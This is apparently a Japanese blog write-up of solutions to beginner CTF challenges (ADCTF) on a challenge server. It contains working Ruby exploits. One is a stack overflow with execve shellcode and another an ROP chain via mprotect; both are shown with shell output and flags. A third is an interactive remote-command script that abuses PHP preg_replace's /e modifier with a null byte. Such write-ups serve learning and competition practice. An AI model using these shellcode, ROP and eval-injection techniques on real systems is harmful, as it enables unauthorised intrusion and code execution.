# oh_my_scanf.rb require_relative "pwnlib" # 0x0bが入っているとscanfがそこで切ってしまうので、 # lea eax, [edx + 0xb] → xor eax, eaxの後にinc eaxを11回するようにシェルコードを修正 shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x33\xc0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\xcd\x80" PwnTube.open("pwnable.katsudon.org", 32100){|tube| tube.wait_time = 0.2 puts "[*] connected" sleep(1) scanf_addr = 0x080483b0 shellcode_address = 0x0804a050 format_string = 0x080485c7 return_address = shellcode_address payload = "" payload << "A" * 0x1c # nameからリターンアドレスまでの距離は28バイト # scanf("%s", 0x0804a050) payload << [scanf_addr, return_address, format_string, shellcode_address].pack("L*") tube.send(payload + "\n") payload = "" payload << shellcode tube.send(payload + "\n") tube.interactive }
$ ruby oh_my_scanf.rb [*] connected name: hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAA� P P� [*] interactive mode id uid=1000(oh_my_scanf) gid=1000(oh_my_scanf) groups=1000(oh_my_scanf) ls -la total 24 dr-xr-x--- 2 root oh_my_scanf 4096 Dec 16 23:11 . drwxr-xr-x 3 root root 4096 Dec 16 23:11 .. -rw-r--r-- 1 root oh_my_scanf 220 Sep 26 05:46 .bash_logout -rw-r--r-- 1 root oh_my_scanf 3392 Sep 26 05:46 .bashrc -rw-r--r-- 1 root oh_my_scanf 675 Sep 26 05:46 .profile -r--r----- 1 root oh_my_scanf 27 Dec 16 23:11 flag cat flag ADCTF_Sc4NF_IS_PRe77Y_niCE exit [*] end interactive mode
FLAG:ADCTF_Sc4NF_IS_PRe77Y_niCE
strangekey(crypto:18pt)
(*´ω`*)
guesskey(reversing:19pt)
(*´ω`*)
easypwn(pwnable:20pt)
(*´ω`*)
追記(2015/03/20):
解けた(`・ω・´)
Dump of assembler code for function pwn_me: 0x08048090 <+0>: sub esp,0x10 0x08048093 <+3>: mov ecx,0x80480ed 0x08048098 <+8>: mov eax,0x4 0x0804809d <+13>: push 0x8 0x0804809f <+15>: push ecx 0x080480a0 <+16>: push 0x1 0x080480a2 <+18>: call esi(syscall) ;write(1, "pwn me: ", 8) 0x080480a4 <+20>: add esp,0xc 0x080480a7 <+23>: mov ecx,esp ;ecx = esp 0x080480a9 <+25>: mov eax,0x3 0x080480ae <+30>: push 0x80 0x080480b3 <+35>: push ecx 0x080480b4 <+36>: push 0x0 0x080480b6 <+38>: call esi(syscall) ;read(0, ecx, 0x80) 0x080480b8 <+40>: add esp,0xc 0x080480bb <+43>: add esp,0x10 0x080480be <+46>: ret End of assembler dump. Dump of assembler code for function syscall: 0x08048080 <+0>: mov edx,DWORD PTR [esp+0xc] 0x08048084 <+4>: mov ecx,DWORD PTR [esp+0x8] 0x08048088 <+8>: mov ebx,DWORD PTR [esp+0x4] 0x0804808c <+12>: int 0x80 0x0804808e <+14>: ret End of assembler dump.
pwn_me
内のread
でバッファオーバフローが起こせる。(リターンアドレスまでの距離は16バイト)
read
の戻り値(=文字数)はeaxに入るので、eaxを調整した上でリターンアドレスをsyscall
のアドレスに書き換えることで
好きなシステムコールを実行することが出来る。
が、リターンアドレスを書き換えることが大前提なので、最低でも20バイト送らざるを得ない。
そこで、0x080480ea : add al, 0x5e ; ret
というガジェットを使った。
これにより、20バイト以上送っていても
(unsigned char)(0x47 + 0x5e + 0x5e) = 0x03
という具合に20番未満のシステムコールをROPで呼べるようになる。
ということで、
mprotect(0x08048000, 0x1000, 7)
でメモリの属性を変更し、pwn_me
を再度呼ぶROPread(stdin, 0x08048200, shellcode.length)
を実行するROP
の2回のROPを行ってシェルを取った。
#coding:ascii-8bit require_relative "pwnlib" shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" PwnTube.open("pwnable.katsudon.org", 28099){|tube| tube.wait_time = 0.5 sleep(1) syscall_address = 0x08048080 pop4_address = 0x080480bb add_el_address = 0x080480ea pwn_me_address = 0x08048090 shellcode_address = 0x08048200 dummy_data = 0xdeadbeef stdin = 0 payload = "" payload << "A" * 16 payload << [syscall_address].pack("L") payload << [pop4_address].pack("L") payload << [0x08048000, 0x1000, 7].pack("L*") # mprotect(0x08048000, 0x1000, rwx) payload << [dummy_data].pack("L") payload << [pwn_me_address].pack("L") payload << "A" * (0x7d - payload.length - 1) # 改行文字の分を引く tube.send(payload + "\n") payload = "" payload << "A" * 16 payload << [add_el_address].pack("L") payload << [add_el_address].pack("L") payload << [syscall_address].pack("L") payload << [pop4_address].pack("L") payload << [stdin, shellcode_address, shellcode.length].pack("L*") # read(stdin, &shellcode, length) payload << [dummy_data].pack("L") payload << [shellcode_address].pack("L") payload << "A" * (0x47 - payload.length - 1) tube.send(payload + "\n") tube.send(shellcode) tube.interactive }
$ ruby easypwn.rb [*] connected [*] interactive mode pwn me: pwn me: id uid=1000(easypwn) gid=1000(easypwn) groups=1000(easypwn) ls -la total 24 dr-xr-x--- 2 root easypwn 4096 Dec 19 18:31 . drwxr-xr-x 3 root root 4096 Dec 19 18:31 .. -rw-r--r-- 1 root easypwn 220 Sep 26 05:46 .bash_logout -rw-r--r-- 1 root easypwn 3392 Sep 26 05:46 .bashrc -rw-r--r-- 1 root easypwn 675 Sep 26 05:46 .profile -r--r----- 1 root easypwn 34 Dec 19 18:31 flag cat flag ADCTF_175_345y_7o_cON7ROL_5Y5c4LL exit [*] end interactive mode
FLAG:ADCTF_175_345y_7o_cON7ROL_5Y5c4LL
otp(web:21pt)
(*´ω`*)
wtfregexp(reversing:22pt)
コード中の判定処理を改変したものを実行してみたところ、以下のようになった。
$RE = qr/1,2,3/; print((unpack('B*', "ABC") . ',') x ((()= $RE =~ /(,)/g)+1)); # Perlでの"a" x 3はRubyでの"a" * 3に相当する #=>010000010100001001000011,010000010100001001000011,010000010100001001000011,
どうも入力文字列を2進数で表した文字列が、すべての正規表現にマッチするようになればいい模様。
正規表現がすごいことになっているので、とりあえず[01][01][01]
→[01]{3}
という形に整形。
gets.chomp.gsub(/\[01\]+/){|s| "[01]{#{s.length / 4}}"}.split(",").each{|s| puts s}
エディタで頭と尻尾のスラッシュを削除した後、出てきた正規表現を観察した。
すると、どの正規表現も256bitの2進数を表すものであることに気付いた。
なので、フラグが32文字(=256bit)であると仮定して復号を試みたところ、フラグを取得することができた。
# 正規表現から必要な情報を抜き出す def decode(s) double = /^\(\?:\[01\]\{(\d+)\}\(\?:([01])\[01\]\{(\d+)\}\|\[01\]\{(\d+)\}([01])\)\[01\]\{(\d+)\}\)$/ left_only = /^\(\?:\[01\]\{(\d+)\}\(\?:([01])\[01\]\{(\d+)\}\|\[01\]\{(\d+)\}([01])\)\)$/ right_only = /^\(\?:\(\?:([01])\[01\]\{(\d+)\}\|\[01\]\{(\d+)\}([01])\)\[01\]\{(\d+)\}\)$/ case when s =~ double m = s.match(double) result = [m.captures[0], m.captures[1], m.captures[2], m.captures[4], m.captures[5]].map{|a| a.to_i} when s =~ left_only m = s.match(left_only) result = [m.captures[0], m.captures[1], m.captures[2], m.captures[4], 0].map{|a| a.to_i} when s =~ right_only m = s.match(right_only) result = [0, m.captures[0], m.captures[1], m.captures[3], m.captures[4]].map{|a| a.to_i} end end # 文字列を2進数へ def str2bin(s) s.bytes.map{|a| ("0" * 8 + a.to_s(2))[-8..-1]}.join end # 2進数から文字列へ def bin2str(s) s.scan(/.{8}/).map{|b| b.to_i(2).chr}.join end a = [] while s = gets a << decode(s.chomp) end is_changed = true flag = str2bin("ADCTF_") # flag starts with "ADCTF_" flag += "0xxxxxxx" * ((256 - flag.length) / 8) # ascii only while is_changed is_changed = false # クリア済みの条件は消す a = a.delete_if{|b| (flag[b[0]] == b[1].to_s || flag[b[0] + b[2]] == b[3].to_s)} # (不成立|未確定)や(未確定|不成立)になっている条件を探し出し、該当ビットを確定させる a.each{|b| if flag[b[0]] == (b[1] == 0 ? 1 : 0).to_s && flag[b[0] + b[2]] == "x" flag[b[0] + b[2]] = b[3].to_s is_changed = true elsif flag[b[0]] == "x" && flag[b[0] + b[2]] == (b[3] == 0 ? 1 : 0).to_s flag[b[0]] = b[1].to_s is_changed = true end } end if flag =~ /x/ puts flag else puts bin2str(flag) end
FLAG:ADCTF_l091C4L_r39Ul4r_3xpR3ss10N
shellcodeme(pwnable:23pt)
(*´ω`*)
regexp quiz(mixed:24pt)
# Stage1 /[a-zA-Z0-9 ,:]+/ # Stage2 /"(.+_.[^\d]\w+)/ # ファイル名についているハッシュの2文字目がたまたま数字でなかったので使えた(笑) # Stage3 s/<[^>]+>|\s\s\D+// # ……でできるかと思いきや、脆弱性を探せとのことorz
いろいろ調べたところ、こんな情報が見つかった。
それによると、
- preg_replaceはバイナリセーフではないため、NULLバイト攻撃が可能
- preg_replaceでeオプションを使うと、置換する文字列をPHPコードとして実行可能
とのこと。
実行したいコードをURLのクエリ文字列にセットし、preg_replace側はeval($_GET[a])
と書くことで文字数制限を回避した。
require "net/http" require "uri" def request(code) uri = URI.parse("http://pwnable.katsudon.org:58080/stage3_9eaeec9bd606f259e92546a7fff593d6.php"); Net::HTTP.start(uri.host, uri.port){|http| request = Net::HTTP::Post.new(uri.path+"?a=system('#{code.gsub(" ", "+")}');") request.form_data = {"pattern" => "[^z]+/e\0", "replacement" => "eval($_GET[a])"} puts http.request(request).body } end while puts || print(">> ") || s = gets s = s.chomp request(s) end
これでサーバ内に侵入はできたものの、そこから先が見えずにお手上げ。
まとめ:
「一日一問」ということで自分のペースで挑戦でき、難易度もちょうどよく、
CTF Beginnerな私にはぴったりのCTFでした(*´ω`*)
開催してくださってありがとうございました♪